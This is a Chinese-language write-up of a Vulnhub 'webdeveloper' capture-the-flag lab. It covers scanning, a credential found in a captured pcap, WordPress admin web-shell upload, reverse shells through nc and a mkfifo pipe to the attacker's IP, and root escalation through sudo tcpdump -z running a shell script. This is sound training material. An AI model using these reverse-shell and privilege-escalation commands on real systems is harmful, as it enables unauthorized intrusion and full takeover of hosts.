Vulnhub webdeveloper靶机渗透

时间:2024-02-26 09:19:47

信息搜集

nmap -sP 192.168.146.0/24 #主机发现
nmap -A 192.168.146.148 #综合扫描

访问一下发现是wordpress,wp直接上wpscan
wpscan --url http://192.168.146.148/ -e u #爆用户名

wpscan --url http://192.168.146.148/ -e cb,dbe #扫配置文件,数据库文件

没有什么发现

dirb http://192.168.146.148/ #dirb扫目录
基本都是常规的wp目录,但是看到ipdata目录很可疑。

看到一个流量包,下载下来分析。

http.request.method ==POST #只看post方法,寄希望于找用户密码

确实有login页面,且记录了用户名和密码。 webdeveloper -- Te5eQg&4sBS!Yr$)wf%(DcAd

getFlag

wp后台反弹shell

登陆进就是wp常规的后台拿shell了:上传插件

大概总结下wp后台getshell方法:
1.上传插件;  直接上传php文件,路径/wp-content/uploads/year/month/xx.php
2.主题外观编辑php文件写代码;   路径/wp-content/themes/主题名/修改文件的文件名
3.和主题一起打包php成zip文件,上传主题安装;
4.媒体处Browser上传文件。
5.编辑已安装插件。


提示出错没关系,直接访问http://192.168.146.148/wp-content/uploads/2020/03/normal.php
2020/03改成自己的日期,文件名也是自己的,可以发现上传是成功的,直接蚁剑连上。

然后反弹shell。 渗透机 nc -lvp 4444

靶机nc -e /bin/sh 192.168.146.132 4444 #发现没有-e选项
使用下面这个。
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.146.132 4444 >/tmp/f
解释:mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh会执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道,由此形成了一个回路。
参考:https://xz.aliyun.com/t/2549#toc-4

常规的,看一眼sudo -l和suid文件,没有什么发现。

查看配置文件

看一眼wp的配置文件,看看能不能找到数据库密码,然后进行mysql提权(udf,mof)什么的。

username=webdeveloper password=MasterOfTheUniverse
emmmm... 蚁剑无法连上数据库。 看来应该是只能登陆webdeveloper用户,然后再进行数据库操作了。
鉴于很多人喜欢将密码设置成一样的,我们这里可以尝试ssh链接。

提权

看到目录下提示了sudo成为admin,那就sudo -l看看sudo权限。

看看tcpdump的命令帮助。

关注-z和-Z参数,前者执行脚本,后者指定运行用户

# 使用方法
webdeveloper@webdeveloper:/tmp$ echo \'mknod backpipe p && nc 192.168.146.132 4444 0<backpipe | /bin/bash 1>backpipe\' > priv.sh
webdeveloper@webdeveloper:/tmp$ chmod +x priv.sh        #一定要加权限啊,坑了我好久
webdeveloper@webdeveloper:/tmp$ sudo tcpdump -i eth0 -w /dev/null -W 1 -G 1 -z /tmp/priv.sh -Z root
# 解释:-W 1抓一个包,-G 1运行1s,因为我们只要运行下tcpdump然后执行shell脚本就行了


既然都可以执行shell了,直接写sudoers等文件提权也ok

总结

靶机不难,主要复习了下wp后台getshell,方法很多了。
实操了下tcpdump提权,其他也就没什么了。